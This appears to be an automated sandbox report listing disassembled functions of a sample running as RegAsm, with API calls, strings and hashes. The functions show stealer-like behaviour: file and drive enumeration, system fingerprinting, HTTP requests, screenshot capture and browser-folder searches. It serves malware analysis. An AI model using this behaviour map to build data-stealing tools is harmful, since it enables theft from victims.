GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C51369F
__aulldiv.LIBCMT ref: 6C5136E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C513773
EnterCriticalSection.KERNEL32(6C59F688), ref: 6C51377E
LeaveCriticalSection.KERNEL32(6C59F688), ref: 6C5137BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5137C4
EnterCriticalSection.KERNEL32(6C59F688), ref: 6C5137CB
LeaveCriticalSection.KERNEL32(6C59F688), ref: 6C513801
__aulldiv.LIBCMT ref: 6C513883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C513902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C513918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C51394C

Strings

GenuntelineI, xrefs: 6C513639
AuthcAMDenti, xrefs: 6C513946
QPC, xrefs: 6C5138FC
GTC, xrefs: 6C513912
MOZ_TIMESTAMP_MODE, xrefs: 6C5135DB

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 80daa6067d64a61a9bdbddaea5a93a0b05b476898988918bcf72d07762aa1d2e
Instruction ID: 6b94a13f5f370669ada5eb9711e9097d46dd37664ea70fb643f91c810e4bd080
Opcode Fuzzy Hash: 80daa6067d64a61a9bdbddaea5a93a0b05b476898988918bcf72d07762aa1d2e
Instruction Fuzzy Hash: D4B1B371B093909BEB08DF28CC5461A7BF9BB8A704F078A6DF899D3750D7749904CB89

Function 00415FD1 Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 205stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00416018
FindFirstFileA.KERNEL32(?,?), ref: 0041602F
StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
wsprintfA.USER32 ref: 00416091
StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
wsprintfA.USER32 ref: 004160C2
wsprintfA.USER32 ref: 004160D9
PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
lstrcatA.KERNEL32(?), ref: 00416125
lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
lstrcatA.KERNEL32(?,?), ref: 0041614A
lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
lstrcatA.KERNEL32(?,?), ref: 00416170
FindNextFileA.KERNEL32(?,?), ref: 004162FF
FindClose.KERNEL32(?), ref: 00416313

Strings

%s\%s, xrefs: 004160D3
%s\*, xrefs: 0041600C
%s\%s, xrefs: 0041608B

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$File$CloseFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 3541214880-445461498
Opcode ID: 64a4da96bfcf6ce1650905d5e47240898efdd8f4f66a4c282cd477faf10b79a6
Instruction ID: 9080a14a7b67b64276011378d573b50c5804aa148f90a951dd897f4284ecdc2d
Opcode Fuzzy Hash: 64a4da96bfcf6ce1650905d5e47240898efdd8f4f66a4c282cd477faf10b79a6
Instruction Fuzzy Hash: F181277190022DABCF60EF61DC45ACD77B9FB08305F0194EAE549A3150EE79AB898F94

Function 00411807 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B00C,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00411916
HeapAlloc.KERNEL32(00000000), ref: 0041191D
VariantClear.OLEAUT32(?), ref: 0041195C
wsprintfA.USER32 ref: 00411949

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Strings

Unknown, xrefs: 0041196A
Unknown, xrefs: 00411971
Unknown, xrefs: 00411985
%d/%d/%d %d:%d:%d, xrefs: 00411943
InstallDate, xrefs: 004118ED
WQL, xrefs: 0041189A
Select * From Win32_OperatingSystem, xrefs: 00411895
ROOT\CIMV2, xrefs: 00411862

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: ecb02a859df1ba10e33711c523dfa2c11f7562346fa6362ec8d690aa38ec1f15
Instruction ID: 6fd9e62a785f938d9949a7602230453514f9597f3b9bb47a58a2ce8779b9d5c0
Opcode Fuzzy Hash: ecb02a859df1ba10e33711c523dfa2c11f7562346fa6362ec8d690aa38ec1f15
Instruction Fuzzy Hash: 17416C71940209BBCB10DBD5DC89EEFBBBDEBC9B11F20411AF611A6190D6799941CB28

Function 0041C5BC Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 0041C8E7
/, xrefs: 0041C66F

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: c0351660a559f6f9ade6da8f0d733f8d63d6f1e7cca8f0310146d6f7fceab1ea
Instruction ID: b3d1b60dab8e0bcc10452ebd26db77d20d631ca931f269cc1acdcf5005af41f2
Opcode Fuzzy Hash: c0351660a559f6f9ade6da8f0d733f8d63d6f1e7cca8f0310146d6f7fceab1ea
Instruction Fuzzy Hash: 58027FB19442688BDF21CF68CC817EE7BB5AF45304F1440EAD949AB242D7389EC5CF99

Function 00406963 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Strings

GET, xrefs: 00406A42
ERROR, xrefs: 00406AB6
ERROR, xrefs: 00406BAB

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET
API String ID: 3863758870-2509457195
Opcode ID: 56ecf0aba7c519ece0c66af887af754cbd594971b662da14919865983262fcd9
Instruction ID: 92cd9d1bd0ee06350c03b9e3f3f18be2958867256fee3cd8884f2eb8500b7709
Opcode Fuzzy Hash: 56ecf0aba7c519ece0c66af887af754cbd594971b662da14919865983262fcd9
Instruction Fuzzy Hash: 7751ADB1A00269AFDF20EB60DC84AEEB7B9FB04304F0180F6F549B2190DA755EC59F94

Function 00411F55 Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F96
GetDesktopWindow.USER32 ref: 00411FA4
GetWindowRect.USER32(00000000,?), ref: 00411FB1
GetDC.USER32(00000000), ref: 00411FB8
CreateCompatibleDC.GDI32(00000000), ref: 00411FC1
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FD1
SelectObject.GDI32(?,00000000), ref: 00411FDE
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FFA
GetHGlobalFromStream.COMBASE(?,?), ref: 00412049
GlobalLock.KERNEL32(?), ref: 00412052
GlobalSize.KERNEL32(?), ref: 0041205E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 004120BC
DeleteObject.GDI32(?), ref: 004120D7
DeleteObject.GDI32(?), ref: 004120E0
ReleaseDC.USER32(00000000,00000000), ref: 004120E8
CloseWindow.USER32(00000000), ref: 004120EF

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 2610876673-0
Opcode ID: f27d1d706aeb0d74554958de5e9924e93eefc3c24a20ffb2af787612b4bf2548
Instruction ID: c6faaab440129de230cebaac92a1e8070c51ab0758410070003a9ef401c88f04
Opcode Fuzzy Hash: f27d1d706aeb0d74554958de5e9924e93eefc3c24a20ffb2af787612b4bf2548
Instruction Fuzzy Hash: D651EA72800218AFDF15EFA1ED498EE7FBAFF08315F045425F901E2120E7369A55DB61

Function 0041543D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041546A
FindFirstFileA.KERNEL32(?,?), ref: 00415481
StrCmpCA.SHLWAPI(?,00436A80), ref: 004154A2
StrCmpCA.SHLWAPI(?,00436A84), ref: 004154BC
lstrcatA.KERNEL32(?), ref: 0041550D
lstrcatA.KERNEL32(?), ref: 00415520
lstrcatA.KERNEL32(?,?), ref: 00415534
lstrcatA.KERNEL32(?,?), ref: 00415547
lstrcatA.KERNEL32(?,00436A88), ref: 00415559
lstrcatA.KERNEL32(?,?), ref: 0041556D

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

FindNextFileA.KERNEL32(?,?), ref: 00415623
FindClose.KERNEL32(?), ref: 00415637

Strings

%s\%s, xrefs: 0041545E

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 33be087a765b30e38440072bcd36c0892490b8ac2d66f6b77931389c8af922ff
Instruction ID: 76e3a8217d52045138f56763d93bdd20641e6c073ea1ff4e423c555a608dce29
Opcode Fuzzy Hash: 33be087a765b30e38440072bcd36c0892490b8ac2d66f6b77931389c8af922ff
Instruction Fuzzy Hash: 85514FB190021D9BCF64DF60CC89AC9B7BDAB49305F1045E6E609E3250EB369B85CF65

Function 0040BF4D Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,0043682E,0040CC6B,?,?), ref: 0040BFC5
StrCmpCA.SHLWAPI(?,00437470), ref: 0040BFE5
StrCmpCA.SHLWAPI(?,00437474), ref: 0040BFFF
StrCmpCA.SHLWAPI(?,Opera,00436843,00436842,00436837,00436836,00436833,00436832,0043682F), ref: 0040C08B
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C099
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C0A7

Strings

Opera Crypto, xrefs: 0040C09F
Opera, xrefs: 0040C083
Opera GX, xrefs: 0040C091
\*.*, xrefs: 0040BF73

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: 38bd3d9684717e82d1b3a5c0890bbc689e6f9daca2a9287c357f528bc350e131
Instruction ID: ed30aa09c5327c7eb0f5e5fa2ee104661cc823cc12f6b76a5c8c5369fc0deaad
Opcode Fuzzy Hash: 38bd3d9684717e82d1b3a5c0890bbc689e6f9daca2a9287c357f528bc350e131
Instruction Fuzzy Hash: AE021C71A401299BCF21FB26DD466CD7775AF14308F4111EAB948B3192DBB86FC98F88

Function 00415142 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004151C2
_memset.LIBCMT ref: 004151E5
GetDriveTypeA.KERNEL32(?), ref: 004151EE
lstrcpyA.KERNEL32(?,?), ref: 0041520E
lstrcpyA.KERNEL32(?,?), ref: 00415229

Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414D1C
Part of subcall function 00414CC8: FindFirstFileA.KERNEL32(?,?), ref: 00414D33
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D4F
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D60
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DC2
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DFF
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414E28
Part of subcall function 00414CC8: lstrcatA.KERNEL32(?,?), ref: 00414E3D

lstrcpyA.KERNEL32(?,00000000), ref: 0041524A
lstrlenA.KERNEL32(?), ref: 004152C4

Strings

%DRIVE_REMOVABLE%, xrefs: 00415215
*%DRIVE_REMOVABLE%*, xrefs: 0041518F
*%DRIVE_FIXED%*, xrefs: 0041515E
%DRIVE_FIXED%, xrefs: 00415230

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: fb6ad70e39f5ef89f1f50072cd2079530b4417cf6753b10fc69b05aaa8cad6e9
Instruction ID: 5e6e090b7426daa2190439f10c3a66e3b2dc60308d04b1e86fd5a2a7c5743c5f
Opcode Fuzzy Hash: fb6ad70e39f5ef89f1f50072cd2079530b4417cf6753b10fc69b05aaa8cad6e9
Instruction Fuzzy Hash: 21513CB190021CEFDF219FA1CC85BDA7BB9FB05304F1041AAEA48A7111EB355E89CF59

Function 00401D80 Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

FindFirstFileA.KERNEL32(?,?,0043AA58,0043AA5C,004369EE,004369EB,RzA,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043AA60), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043AA64), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043AA68,0043AA6C,?,0043AA70,004369EF), ref: 004020DD

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
